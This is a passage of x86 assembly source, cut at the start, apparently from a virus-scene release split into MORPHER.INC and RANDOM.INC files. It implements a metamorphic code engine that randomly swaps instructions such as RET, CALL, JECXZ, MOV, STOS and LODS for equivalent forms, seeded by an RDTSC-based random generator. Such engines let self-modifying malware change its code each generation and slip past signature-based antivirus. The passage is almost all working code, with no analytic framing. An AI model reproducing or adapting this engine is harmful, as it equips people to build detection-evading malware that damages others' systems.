ebx,4 i3 mov ax,100Fh i3 add ah,dl i1 stosw i3 xchg eax,ebx i2 jmp stosd_ret ;-------- RET -------- shr_ret: i3 mov al,0C3h ;shrink to RET i2 jmp stosb_ret exp_ret: i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @exp_ret1 i3 mov eax,0FF04C483h ;create ADD ESP,4 i2 jmp @exp_ret2 ; JMP [ESP-4] @exp_ret1: i3 mov eax,0FFFCEC83h ;create SUB ESP,-4 @exp_ret2: ; JMP [ESP-4] i1 stosd i3 mov ax,2464h i1 stosw i3 mov al,0FCh i2 jmp stosb_ret ;-------- RET XXXX -------- shr_retx: i3 mov al,0C2h ;shrink to RET XXXX i1 stosb i2o1 movzx eax,byte ptr [edi+5] i2 neg al i2 jmp stosw_ret exp_retx: i2o1 movzx edx,word ptr [edi+1] i3 test dl,dl i2 jns c_exp_retx1 ;mustnt be >128 end_exp_retx: i1 ret c_exp_retx1: i3 test dh,dh i2 jne end_exp_retx ;mustnt be >255 i3 mov al,83h i1 stosb i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @exp_retx1 i3 mov al,0C4h ;create ADD ESP,4+XX i1 stosb ; JMP [ESP-4] i3 mov al,dl i2 jmp @exp_retx2 @exp_retx1: i3 mov al,0ECh ;create SUB ESP,-4-XX i1 stosb ; JMP [ESP-4] i3 mov al,dl i2 neg al @exp_retx2: i1 stosb i3 mov ax,64FFh i1 stosw i3 mov ah,dl i2 neg ah i3 mov al,24h i2 jmp stosw_ret ;-------- CALL XXXXXXXX -------- shr_call: i3 mov al,0E8h ;shrink to CALL XXXXXXXX i1 stosb i3 mov eax,[edi+2] i3 add eax,2 i2 jmp stosd_ret exp_call: i1o1 push dword ptr [edi+1] i2 push 8 i2 call RANDOM ;get rnd number <0,7> i3 xchg eax,edx i3 mov al,50h ;create PUSH EXX i3 add al,dl ; POP EXX i1 stosb ; CALL XXXXXXXX i3 mov al,58h i3 add al,dl i1 stosb i3 mov al,0E8h i1 stosb i2 pop eax i3 sub eax,2 i2 jmp stosd_ret ;-------- JECXZ XX -------- shr_jecxz1: i3 mov al,0E3h ;shrink to JECXZ XX i1 stosb i2o1 movsx eax,byte ptr [edi+2] i3 add eax,2 i2 jmp stosb_ret shr_jecxz2: i3 mov al,0E3h ;shrink to JECXZ XX i1 stosb i2o1 movsx eax,byte ptr [edi+3] i3 add eax,6 i2 jmp stosb_ret exp_jecxz: i2o1 movsx edx,byte ptr [edi+1] i3 mov ax,0C985h ;create TEST ECX,ECX i1 stosw i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @exp_jecxz1 i3 mov al,74h ;create JE SHORT XX i1 stosb i3 xchg eax,edx i3 sub eax,2 i2 call test_jmp i2 jnc stosb_ret i2 dec edi i3 add eax,2 i3 xchg eax,edx @exp_jecxz1: i3 mov ax,840Fh ;create JE LARGE XXXXXXXX i1 stosw i3 xchg eax,edx i3 sub eax,6 i2 jmp stosd_ret ;-------- ADD EAX,XXXXXXXX -------- exp_addeax: i1o2 mov byte ptr [edi],2Dh ;create SUB EAX,-XXXXXXXX @exp_subeax: i1o1 neg dword ptr [edi+1] i3 add edi,5 i1 ret ;-------- SUB EAX,XXXXXXXX -------- exp_subeax: i1o2 mov byte ptr [edi],05h ;create ADD EAX,-XXXXXXXX i2 jmp @exp_subeax ;-------- ADD EXX,XXXXXXXX -------- exp_add: i1o2 add byte ptr [edi+1],0e8h-0c0h ;create SUB EXX,-XXXXXXXX @exp_sub: i1o1 neg dword ptr [edi+2] i3 add edi,6 i1 ret ;-------- SUB EXX,XXXXXXXX -------- exp_sub: i1o2 add byte ptr [edi+1],0c0h-0e8h ;create ADD EXX,-XXXXXXXX i2 jmp @exp_sub ;-------- STOSB -------- shr_stosb: i3 mov al,0AAh ;shrink to STOSB i2 jmp stosb_ret exp_stosb: i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @exp_stosb i3 mov eax,470788h ;create MOV [EDI],AL stosd_dec_edi_ret: i1 stosd ; INC EDI i2 dec edi i1 ret @exp_stosb: i3 mov ax,0AA66h ;create DB 66h i2 jmp stosw_ret ; STOSB ;-------- STOSW -------- shr_stosw: i3 mov ax,0AB66h ;shrink to STOSW i2 jmp stosw_ret exp_stosw: i3 mov eax,083078966h ;create MOV [EDI],AX i1 stosd ; ADD EDI,2 i3 mov ax,02C7h i2 jmp stosw_ret ;-------- STOSD -------- shr_stosd: i3 mov al,0ABh ;shrink to STOSD i2 jmp stosb_ret exp_stosd: i3 mov eax,0C7830789h ;create MOV [EDI],EAX i1 stosd ; ADD EDI,4 i3 mov al,4 i2 jmp stosb_ret ;-------- LODSB -------- shr_lodsb: i3 mov al,0ACh i2 jmp stosb_ret exp_lodsb: i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @exp_lodsb i3 mov eax,46068Bh i2 jmp stosd_dec_edi_ret @exp_lodsb: i3 mov ax,0AC66h i2 jmp stosw_ret ;-------- LODSD -------- shr_lodsd: i3 mov al,0ADh i2 jmp stosb_ret exp_lodsd: i3 mov eax,0C683068Bh i1 stosd i3 mov al,4 i2 jmp stosb_ret ;-------- PUSH EXX -------- shr_pushexx: i3 mov al,[edi+1] i3 add al,50h-0F0h i2 jmp stosb_ret exp_pushexx: i1o1 push dword ptr [edi] i3 mov al,0FFh i1 stosb i2 pop eax i3 add al,0F0h-50h i2 jmp stosb_ret ;-------- POP EXX -------- shr_popexx: i3 mov al,[edi+1] i3 add al,58h-0C0h i2 jmp stosb_ret exp_popexx: i1o1 push dword ptr [edi] i3 mov al,08Fh i1 stosb i2 pop eax i3 add al,0C0h-58h i2 jmp stosb_ret ;-------- MOV -------- exp_mov: i3 mov al,[edi+1] i3 mov dl,al i3 and al,0C0h i3 cmp al,0C0h i2 je @exp_mov1 ;reg1,reg2 ;i2 int 3 i3 mov al,dl i3 and al,80h i3 cmp al,80h i2 je @exp_mov2 ;reg,mem32 i1 ret @exp_mov1: i3 mov dh,dl i3 and dl,00000111b ;1st register i3 and dh,00111000b ;2nd register i3 shr dh,3 ;normalize i3 mov bl,[edi] i3 and bl,1 ;BL = size of register (b/w) @exp_movL: i2 push 3 i2 call RANDOM ;get rnd number <0,2> i2 dec eax i2 je @exp_mov11 i2 dec eax i2 je @exp_mov12 i3 mov al,[edi] ;create MOV reg1,reg2 i3 test al,2 i2 je exp_mov1x i3 sub al,2 i2 jmp exp_mov1y exp_mov1x: i3 add al,2 exp_mov1y: i1 stosb create_op_regz: i3 mov al,11000000b i3 shl dl,3 i3 add al,dl i3 add al,dh i2 jmp stosb_ret @exp_mov11: i3 test bl,bl ;create PUSH reg2 i2 je @exp_movL ; XCHG reg1,reg2 i2 call create_push_reg ; POP reg2 i3 mov al,58h i3 add al,dh i2 jmp stosb_ret create_push_reg: i3 mov al,50h i3 add al,dl i1 stosb i1 ret @exp_mov12: i2 call create_push_reg ;create PUSH reg2 i3 mov al,86h ; POP reg1 i3 add al,bl i1 stosb i2 push edx i2 call create_op_regz i2 pop edx i3 mov al,58h i3 add al,dl i2 jmp stosb_ret @exp_mov2: i3 mov al,dl i3 and al,7 i1 ret MORPHER EndP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MORPHER.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RANDOM.INC]ÄÄÄ RANDOMIZE Proc ;initialization of random engine i1 pushad _rnd_: dw 310Fh ;RDTCS db (MAXINSTRLENGTH-2) dup (90h) ;fill the rest with NOPz i3 add eax,edx i3 mov [ebp+rnd32_seed-gdelta],eax ;save the random seed i1 popad i1 ret RANDOMIZE EndP RANDOM Proc ;get random number in range <0,ESP+4> i2 push ecx i2 push edx i3 mov eax,[ebp+rnd32_seed-gdelta] i3 mov ecx,41C64E6Dh i2 mul ecx i3 add eax,00003039h i3 mov [ebp+rnd32_seed-gdelta],eax i3 xor edx,edx i1o1 div dword ptr [esp+0Ch] i3 xchg eax,edx i2 pop edx i2 pop ecx i2 ret 4 RANDOM EndP RANDOM2 Proc i2 push 2 i2 call RANDOM i1 ret RANDOM2 EndP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RANDOM.INC]ÄÄÄ